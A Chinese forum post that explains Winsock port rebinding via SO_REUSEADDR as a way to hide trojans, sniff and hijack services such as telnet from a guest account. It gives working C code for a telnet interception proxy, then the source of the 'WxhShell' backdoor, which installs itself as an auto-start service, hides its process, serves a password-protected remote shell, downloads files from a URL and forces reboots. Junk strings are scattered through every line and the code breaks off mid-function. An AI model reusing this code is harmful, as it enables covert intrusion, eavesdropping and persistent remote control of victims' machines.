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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d2~l4IL)~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IP ,.+:i  
<7'&1= %r  
  saddr.sin_family = AF_INET; X?/Lz;,&  
xQU"A2{}>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3z3_7XI  
c<4F4k7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  ?Vc0)  
@h}`DNaZ^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j (ygQ4T  
]-:6T0JuS  
  这意味着什么?意味着可以进行如下的攻击: w2OsLi Sv  
_Yq@FOu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u,o1{% O  
BvK QlT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I9 &lO/c0  
dJi|D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E^wyD-ii/  
3v1 7"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y: psZ  
((<`zx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ()\jCNLT  
~.oj.[ }  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g^l RG3a  
f%XJ;y\,9H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W~ruN4q.  
4h8*mMghs  
  #include m Ni2b*k  
  #include 2*2:-o cl$  
  #include z%sy$^v@vD  
  #include    I[D8""U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M0w/wt|  
  int main() {C")#m-0  
  { r N5tI.iC  
  WORD wVersionRequested; E\M-k\cSj  
  DWORD ret; BBnq_w"a  
  WSADATA wsaData; 7-* =|gl+  
  BOOL val; V%NeZ1{ e  
  SOCKADDR_IN saddr; K_ke2{4Jm  
  SOCKADDR_IN scaddr; UyiJU~r1  
  int err; aG{$Ic  
  SOCKET s; u9Y3?j,oC  
  SOCKET sc; ] fwZAU  
  int caddsize; U|5-0u5  
  HANDLE mt; ,_ .v_  
  DWORD tid;   S3Y2O x  
  wVersionRequested = MAKEWORD( 2, 2 ); P@0Y./Ds  
  err = WSAStartup( wVersionRequested, &wsaData ); |"]PCb)!  
  if ( err != 0 ) { I=Ij dwbH  
  printf("error!WSAStartup failed!\n"); wK!~tYxP  
  return -1; h|)vv4-d|  
  } lV6dm=k  
  saddr.sin_family = AF_INET; 2SG$LIV 9Y  
   J7+w4q~cB`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BKIjNV3  
Riry_   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O!&,5Dy  
  saddr.sin_port = htons(23); vmX"+sHz$]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L0NA*C   
  { fU+Pn@'  
  printf("error!socket failed!\n"); uQ/h'v  
  return -1; (sTuG}  
  } t ls60h  
  val = TRUE; 1m@^E:w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {whvTN1#dh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,}SCa'PB  
  { ,[!LCXp  
  printf("error!setsockopt failed!\n"); DjLL|jF  
  return -1;  P_Hv%g  
  } ig!7BxM)<h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )rtomp:X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0 n vSvk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1G^#q,%X_v  
Um.qRZ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ae+*=,  
  { {38bv. 3'  
  ret=GetLastError(); o{WyQ&2N  
  printf("error!bind failed!\n"); F0lOlS   
  return -1; F]+~x/!  
  } ~E5z"o6$  
  listen(s,2); D Ml?o:l  
  while(1) >m6&bfy\q  
  { @)6jE!LC  
  caddsize = sizeof(scaddr); pv,45z0  
  //接受连接请求 O7G"sT1Dv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kcuzB+  
  if(sc!=INVALID_SOCKET) =E*Gb[r_7  
  { Y.6SOu5$]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~AB*]Us  
  if(mt==NULL) \jU |(DE  
  { O XP\R  
  printf("Thread Creat Failed!\n"); >3.X?  
  break; tJ0NPI56yP  
  } cr;`Tl~}s  
  } +^|iZbZKx  
  CloseHandle(mt); jp2Q 9Z  
  } r'7LR  
  closesocket(s); s^8u&y)3  
  WSACleanup(); s Be7"^  
  return 0; $ &UZy|9  
  }   SU.ythU2,c  
  DWORD WINAPI ClientThread(LPVOID lpParam) MXtkP1A `  
  { 3'`dFY,  
  SOCKET ss = (SOCKET)lpParam; /j2H A^GT  
  SOCKET sc; #q\x$   
  unsigned char buf[4096]; na+d;h*~y  
  SOCKADDR_IN saddr; 9i q""  
  long num; @.C{OSH E  
  DWORD val; r' Z3  
  DWORD ret; S.*~C0"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X6e/g{S)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e^1uVN  
  saddr.sin_family = AF_INET; Nf41ZT~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5\fCd|  
  saddr.sin_port = htons(23); zg)sd1@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x2Lq=zwJ  
  { eOT+'[3"  
  printf("error!socket failed!\n"); s%4M$ e  
  return -1; qQ]]~F  
  } ]; $] G-  
  val = 100; C#0Qd%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ah69 _>N`S  
  { xg@NQI@7   
  ret = GetLastError(); 7V7zGx+Z7  
  return -1; ?/hZb"6W  
  } ;]2s,za)qs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SkQswH  
  { M2x["  
  ret = GetLastError(); ,/&'m13b/L  
  return -1; <e]Oa$  
  } (BxJryXm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +MbIB&fRCB  
  { 'bGX-C  
  printf("error!socket connect failed!\n"); > oA? 6x  
  closesocket(sc); &C im!I  
  closesocket(ss); "\Egs)\  
  return -1; )k&a}u5y  
  } \~d";~Y`  
  while(1) V@7KsB  
  { !UOCJj.cA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [%50/_h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kg][qn|>J]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jV#ahNq;  
  num = recv(ss,buf,4096,0); n?\ nn3  
  if(num>0) `nKH"TaX  
  send(sc,buf,num,0); &R|/t :DN  
  else if(num==0) fP tm0.r  
  break; (>6*#9#p  
  num = recv(sc,buf,4096,0); +x9cT G  
  if(num>0) {e|*01hE  
  send(ss,buf,num,0); .6O"| Mqb  
  else if(num==0) o-xDh7v  
  break; gj\)CBOv  
  } q#Zs\PD  
  closesocket(ss); ZvYLL{>}w  
  closesocket(sc); j*e6 vX  
  return 0 ; mNf8kwr  
  } E3@QI?n^^  
{mWui9 %M  
}>^Q'BW;65  
========================================================== *19ax&|*S  
{7cX#1  
下边附上一个代码,,WXhSHELL EM7+VO(  
6Ao%>;e*  
========================================================== LA_3=@2.H  
n .!Ym X4  
#include "stdafx.h" >@WX>0`ht  
_A<u#.yd  
#include <stdio.h> }?cGf- c  
#include <string.h> tt%MoQ)   
#include <windows.h> A*. /,KT  
#include <winsock2.h> _, ;j7%j  
#include <winsvc.h> dC=)^(  
#include <urlmon.h> oLWJm  
i{!T&8  
#pragma comment (lib, "Ws2_32.lib") xD&^j$Em  
#pragma comment (lib, "urlmon.lib") Lb{e,JH  
S[tE&[$(p  
#define MAX_USER   100 // 最大客户端连接数 nf 1#tlIJd  
#define BUF_SOCK   200 // sock buffer IchCACK  
#define KEY_BUFF   255 // 输入 buffer hlu:=<B  
,+qVu,  
#define REBOOT     0   // 重启  hjO*~  
#define SHUTDOWN   1   // 关机 WwC 5!kZ  
2([2Pb3<"  
#define DEF_PORT   5000 // 监听端口 &U+ _ -Ph  
\BWyk A>  
#define REG_LEN     16   // 注册表键长度 j1SMeDDM ~  
#define SVC_LEN     80   // NT服务名长度 k5kdCC0FCk  
)uv=S;+  
// 从dll定义API _3]][a,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {_(\` >  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); as=m`DqOh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?[*0+h`en  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Rek4<5  
iX'rU@C  
// wxhshell配置信息 7&KT0a*  
struct WSCFG { '(f/~"9B  
  int ws_port;         // 监听端口 x^"E S%*  
  char ws_passstr[REG_LEN]; // 口令 Ladsw  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xtwun  
  char ws_regname[REG_LEN]; // 注册表键名 AamVms  
  char ws_svcname[REG_LEN]; // 服务名 =9kN_:-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h._nK\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k{gLMl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :K\mN/ x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O62b+%~F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /(O$(35  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  g PAX4'  
{;2vmx9  
}; ]"c+sMW  
2+Px'U\  
// default Wxhshell configuration <foCb%$(?  
struct WSCFG wscfg={DEF_PORT, %>gW9}kB  
    "xuhuanlingzhe", #W.vX?-'0  
    1, y=Mq(c:'UN  
    "Wxhshell", b':|uu*/  
    "Wxhshell", DzQ1%!  
            "WxhShell Service", Cf B.ZT  
    "Wrsky Windows CmdShell Service", 9h/>QLx  
    "Please Input Your Password: ", P}.7Mehf  
  1, AxxJk"v'y  
  "http://www.wrsky.com/wxhshell.exe", b3wM;jv  
  "Wxhshell.exe" \A `hj~  
    }; G/%iu;7ZCb  
mDh1>>K'~  
// 消息定义模块 bCZ g cN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B\g]({E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C"lJl k9g^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jGrN\D?h  
char *msg_ws_ext="\n\rExit."; .To;"D;j,  
char *msg_ws_end="\n\rQuit."; 8q`$y$06Dk  
char *msg_ws_boot="\n\rReboot..."; {cpEaOyOM  
char *msg_ws_poff="\n\rShutdown..."; e!fqXVEVR  
char *msg_ws_down="\n\rSave to "; tNVV)C  
L6>pGx  
char *msg_ws_err="\n\rErr!"; TpA\9N#$  
char *msg_ws_ok="\n\rOK!"; :';L/x>  
vIvVq:6_3  
char ExeFile[MAX_PATH]; @\&m+;6  
int nUser = 0; iCP/P%  
HANDLE handles[MAX_USER]; LQnkcV  
int OsIsNt; ]pEV}@7  
\D>$aLO*?  
SERVICE_STATUS       serviceStatus; yT{8d.Rh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q9"=mO0J+  
&'l>rD^o  
// 函数声明 x\2?ym@  
int Install(void); 'WHHc 9rG,  
int Uninstall(void); B*htN  
int DownloadFile(char *sURL, SOCKET wsh); oJKa"H-jL  
int Boot(int flag); 5>J=YLq  
void HideProc(void); 1Y_w5dU  
int GetOsVer(void); A?TBtAe  
int Wxhshell(SOCKET wsl); H"2uxhdLK3  
void TalkWithClient(void *cs); e6=]m#O9  
int CmdShell(SOCKET sock); {b]aC  
int StartFromService(void); fAZiC+  
int StartWxhshell(LPSTR lpCmdLine); V8=Y@T,  
'gQidf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gamr6I"K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q.Nweu!jQ  
0'&X T^"  
// 数据结构和表定义 ,2oF:H  
SERVICE_TABLE_ENTRY DispatchTable[] = UR(-q  
{ HaA1z}?n  
{wscfg.ws_svcname, NTServiceMain}, R];Ox e  
{NULL, NULL} 2tayP@$  
}; $ _8g8r}  
hzI *{  
// 自我安装 .s/fhk,  
int Install(void) ozsxXBh-`'  
{ PLM_#+R>  
  char svExeFile[MAX_PATH]; j?b\+rr  
  HKEY key; cYNJhGY  
  strcpy(svExeFile,ExeFile); Es5  
iE0ab,OF  
// 如果是win9x系统,修改注册表设为自启动 uGdp@]z&8Q  
if(!OsIsNt) { -{h   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _<ut)G^9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Nz0.:  
  RegCloseKey(key); J H.K.C(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dj\e@?Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DaNW~rd{  
  RegCloseKey(key); s!/TU{8J  
  return 0; ^"8G`B$r  
    } DOm[*1@^  
  } CeT~p6=  
} elJ)4Em  
else { 6]Q3Yz^h  
8GJdRL(  
// 如果是NT以上系统,安装为系统服务 dsK&U\ej}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Z:2I/  
if (schSCManager!=0) PXP`ZLF  
{ e2CV6F@a  
  SC_HANDLE schService = CreateService m9M FwfZ  
  ( ^SEdA=!  
  schSCManager, E04l|   
  wscfg.ws_svcname, hwnx<f '  
  wscfg.ws_svcdisp, b M;`s5d  
  SERVICE_ALL_ACCESS, jW*1E *"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (7lBID4  
  SERVICE_AUTO_START, 4yMW^:@  
  SERVICE_ERROR_NORMAL, ETv9k g  
  svExeFile, ^ L:cjY/  
  NULL, Vu0 KtG9  
  NULL, ]kktoP|D  
  NULL, pw>m.=9|y  
  NULL, Ft%hh|$5y  
  NULL ]/]ju$l9Z  
  ); hJ%1   
  if (schService!=0) mXjgs8 s  
  { ic6L9>[  
  CloseServiceHandle(schService); _X5_ez^/=  
  CloseServiceHandle(schSCManager);  ~QG ?k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y{Ap80'\6  
  strcat(svExeFile,wscfg.ws_svcname); ed~R>F>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E|Bd>G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A,i()R'I  
  RegCloseKey(key); {sN"( H4$  
  return 0; lH BI  
    } q/@dR{-  
  } kL{;.WsB  
  CloseServiceHandle(schSCManager); wN]J8Ir  
} GA^mgm"O  
} ,-*iCs<  
:jNYP{Br  
return 1; 5P^U_  
} A-E+s~U8  
Yt1mB[&f^  
// 自我卸载 ~bU7QLr  
int Uninstall(void) 4-4?IwS  
{ Z-Wfcnk  
  HKEY key; 6o}V@UzqV  
vd~U@-C=R  
if(!OsIsNt) { UKB_Yy^Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ki\uTD`mf  
  RegDeleteValue(key,wscfg.ws_regname); p,#6 @*  
  RegCloseKey(key); 2YQ#-M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3l:XhLOj  
  RegDeleteValue(key,wscfg.ws_regname); z4O o@3$\R  
  RegCloseKey(key); 8Pmwzpk02  
  return 0; N_'+B+U?  
  } f'/ KMe%<  
} H:}}t]E  
} tW6#e(^l6  
else { ~@M7&%]  
k&Jo"[i&WO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )LFD6\z1pl  
if (schSCManager!=0) ??xlA-E  
{ t{(Mf2GR1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [!+D <Y  
  if (schService!=0) g{ (@uzqG  
  { Zw=G@4xoU  
  if(DeleteService(schService)!=0) { .j 'wQ+_  
  CloseServiceHandle(schService); w!,QxrOV~  
  CloseServiceHandle(schSCManager); D$pj#  
  return 0; wa?+qiWnrl  
  } ZJXqCo7O  
  CloseServiceHandle(schService); nk08>veG  
  } (KF7zP  
  CloseServiceHandle(schSCManager); vo;5f[>4i  
} zGs|DB  
} z[ #6-T &  
# cWHDRLX  
return 1; ya>N.h  
} b.Su@ay@(^  
oI$V|D3 9  
// 从指定url下载文件 RK)l8c}  
int DownloadFile(char *sURL, SOCKET wsh) HYIRcY  
{ ~{QEL2  
  HRESULT hr; [b`$\o'-  
char seps[]= "/";  q6)N*?  
char *token; NG-`ag`s  
char *file; YRa4W.&Yn  
char myURL[MAX_PATH]; [t}):}~F|  
char myFILE[MAX_PATH]; 2]Fu 1  
6Kht:WE  
strcpy(myURL,sURL); @,6ST0xT (  
  token=strtok(myURL,seps); &wGg6$  
  while(token!=NULL) rt;gC[3\  
  { b+$o4 l/x  
    file=token; F?2FITi_V  
  token=strtok(NULL,seps); qRUCnCZs  
  } 'wE\{1~_[+  
]L]T>~X`  
GetCurrentDirectory(MAX_PATH,myFILE); |>JmS  
strcat(myFILE, "\\"); 24|<<Xn  
strcat(myFILE, file); ; $6x=uZ  
  send(wsh,myFILE,strlen(myFILE),0); 5`yPT>*#m>  
send(wsh,"...",3,0); }9}w8R~E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L w*1 .~  
  if(hr==S_OK) {{zua- F  
return 0; r`>~Lp`  
else J[+Tj @n'  
return 1; TAAR'Jz S  
>C^/,/%v  
} 0# UAjT3  
P%jkKE?B4  
// 系统电源模块 [Y oa"K  
int Boot(int flag) 3GINv3_  
{ x 8M#t(hw  
  HANDLE hToken; `vH&K{   
  TOKEN_PRIVILEGES tkp; h9Z[z73_a  
8!6<p[_  
  if(OsIsNt) { 5:_~mlfi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bXm :]?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g`{Dxb,t  
    tkp.PrivilegeCount = 1; |@q9{h7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B{4"$Mi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xOgq-@`  
if(flag==REBOOT) { (WkTQRcN,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a[JZ5D  
  return 0; lYdQB[l  
} C&FN#B  
else { {Ot[WF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KMe.i'  
  return 0; 5 2fO)!  
} Nq  U9/  
  } 6BHPzv+Y  
  else { A'b<?)Y7_  
if(flag==REBOOT) { |WUA1g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dc)wu]  
  return 0; &BTfDsxAK  
} B~BUW WMfp  
else { .yG8B:7N2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {;;eOxOP|  
  return 0; \hu':@}  
} vnF g%M!  
} i!y\WaCp  
d^_itC;-,  
return 1; f0g6g!&gf  
} @Z,qu2~|!  
(O Qi%/Oy  
// win9x进程隐藏模块 q>c+bo 6  
void HideProc(void) kU>#1 He  
{ k\%,xf; x  
&7lk2Q\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {MA@ A5  
  if ( hKernel != NULL ) Z!k5"\{0pE  
  {  ,&4zKm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !__D}k,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @gY'YA8m  
    FreeLibrary(hKernel); 0yKwH\S  
  } fg< ( bXC  
+-'`Q Ae  
return; |zg=+  
} XZ!cW=bqS  
7-(>"75Q|  
// 获取操作系统版本 e|35|I '  
int GetOsVer(void) \}n !yYh(  
{ {W]bU{%.  
  OSVERSIONINFO winfo; TR+Q4Y:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yr (g~MQ  
  GetVersionEx(&winfo); PlF89-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *C tsFS~  
  return 1; JIB?dIN 1  
  else tc!!W9{69  
  return 0; 77*v-8c  
} t.gq5Y.[  
PV?1g|tYv  
// 客户端句柄模块 6j?FRs  
int Wxhshell(SOCKET wsl) 4;",@}  
{ Ixyvn#ux )  
  SOCKET wsh; Bd/} %4V\@  
  struct sockaddr_in client; N,h1$)\B#  
  DWORD myID; VM=hQYe  
\IO$ +Guh  
  while(nUser<MAX_USER) {c&qB`y<.  
{ 5F% h>tqh  
  int nSize=sizeof(client); jM{(8aUG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^n6)YX  
  if(wsh==INVALID_SOCKET) return 1; |C&%S"*+D  
U#OWUZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,s\x]bh  
if(handles[nUser]==0) Qo]vpp^[#  
  closesocket(wsh); X v`2hf  
else z +y;y&P  
  nUser++; BLWA!-  
  } |Gf1^8:C9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tCd{G c  
UZ[/aq  
  return 0; !5yRWMO9X~  
} b EoB;]  
/>2A<{6\=P  
// 关闭 socket ~W]#9&yQ  
void CloseIt(SOCKET wsh) \9[NH/.Z{  
{ HTR "mQ  
closesocket(wsh); x e"4u JO  
nUser--; byEvc[/>Ys  
ExitThread(0); c13vEn!c  
} C.b,]7i  
T b5$  
// 客户端请求句柄 x&Q+|b%  
void TalkWithClient(void *cs) Z[DetRc-  
{ !C9ps]6  
$]Q*E4(kV9  
  SOCKET wsh=(SOCKET)cs; .rt8]%  
  char pwd[SVC_LEN]; !:]s M-cCt  
  char cmd[KEY_BUFF]; CwTS/G  
char chr[1]; 0BbiQXU  
int i,j; !$%/ rQ9  
s BeP;ox  
  while (nUser < MAX_USER) { `@VM<av  
4*@G&v?n  
if(wscfg.ws_passstr) { zgEr,nF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vkDZv@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h(+m<J  
  //ZeroMemory(pwd,KEY_BUFF); ~`nm<   
      i=0; =;'ope(?S  
  while(i<SVC_LEN) { F[o+p|nF  
&hSnB~hi  
  // 设置超时 "ZA$"^  
  fd_set FdRead; B,BOzpb(  
  struct timeval TimeOut; 9 AQ96  
  FD_ZERO(&FdRead); E|F!S(.:,M  
  FD_SET(wsh,&FdRead); JLFFh!J  
  TimeOut.tv_sec=8; J};u25:}  
  TimeOut.tv_usec=0; A{DIp+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WI*^+E&=*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -dc"N|.  
lOWB^uS%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9^#zxmH)  
  pwd=chr[0]; twYB=68  
  if(chr[0]==0xd || chr[0]==0xa) { m11"i=S"  
  pwd=0; k"3Z@Px:  
  break; zR3lX}g  
  } PMz{8 F  
  i++; []6ShcqJ[v  
    } r?Zy-yQ  
C{d 8~6  
  // 如果是非法用户,关闭 socket mK7^:(<.LO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pQ[o3p!&9  
} gLXvw]  
!9e\O5PmO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '0])7jq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~I/>i&|M1  
$ly#zQR  
while(1) { <ZHY3  
lzr>WbM{{p  
  ZeroMemory(cmd,KEY_BUFF); ?:{0  
mCC:}n"#  
      // 自动支持客户端 telnet标准   "2vNkO##  
  j=0; =hOj8;2  
  while(j<KEY_BUFF) { A/Fs?m{7U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yPzULO4  
  cmd[j]=chr[0]; I9Edw]  
  if(chr[0]==0xa || chr[0]==0xd) { FJn~ =hA  
  cmd[j]=0; Sug~FV?k$e  
  break; 8zWBXV  
  } ?C#F?N0  
  j++; cW~6@&zp  
    } ]$?zT`>(F  
m"?' hR2  
  // 下载文件 X,iuz/Q  
  if(strstr(cmd,"http://")) { eK=m02  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W=;(t  
  if(DownloadFile(cmd,wsh)) YN5OuKMUd'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5'Z4.~  
  else v4,syd*3|V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w ufKb.4`  
  } w/^0tZ~  
  else { SS45<!i y  
&Gy'AUz-  
    switch(cmd[0]) { kERaY9L\  
  n{qw ]/  
  // 帮助 9>.<+b(>!'  
  case '?': { _>_y@-b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0N3tsIm>  
    break; 8Jib|#!  
  } 'wT./&Z  
  // 安装 B 4*X0x  
  case 'i': { gR_b~ ^  
    if(Install()) hNR >Hy\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yoA*\V  
    else -; /@;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kw-Kx4 )  
    break; ]~g|SqPA@  
    } =aCIaL&9Y  
  // 卸载 00.iMmJ  
  case 'r': { u%gm+NneK  
    if(Uninstall()) ?:;hTY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+8ApicjTc  
    else 8^f[-^%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pn_gq~5ng  
    break; :[X }.]"  
    } iK6<^,]'  
  // 显示 wxhshell 所在路径 z }b U\3!  
  case 'p': { zOdasEd8!  
    char svExeFile[MAX_PATH]; 1 [~|  
    strcpy(svExeFile,"\n\r"); \.{pZMM  
      strcat(svExeFile,ExeFile); I}g|n0o  
        send(wsh,svExeFile,strlen(svExeFile),0); 45O6TqepN  
    break; ^&G O4u  
    } x"C93ft[  
  // 重启 BB73' W8y  
  case 'b': { te)g',#lT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~i_ R%z:y  
    if(Boot(REBOOT)) B"E(Y M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  JY050FL  
    else { Velbq  
    closesocket(wsh); ,n,7.m.D  
    ExitThread(0); ;uWI l  
    } <x%my4M  
    break; loqS?bC ]  
    } -WHwz m  
  // 关机 \<MTY:  
  case 'd': { ][$$  =  
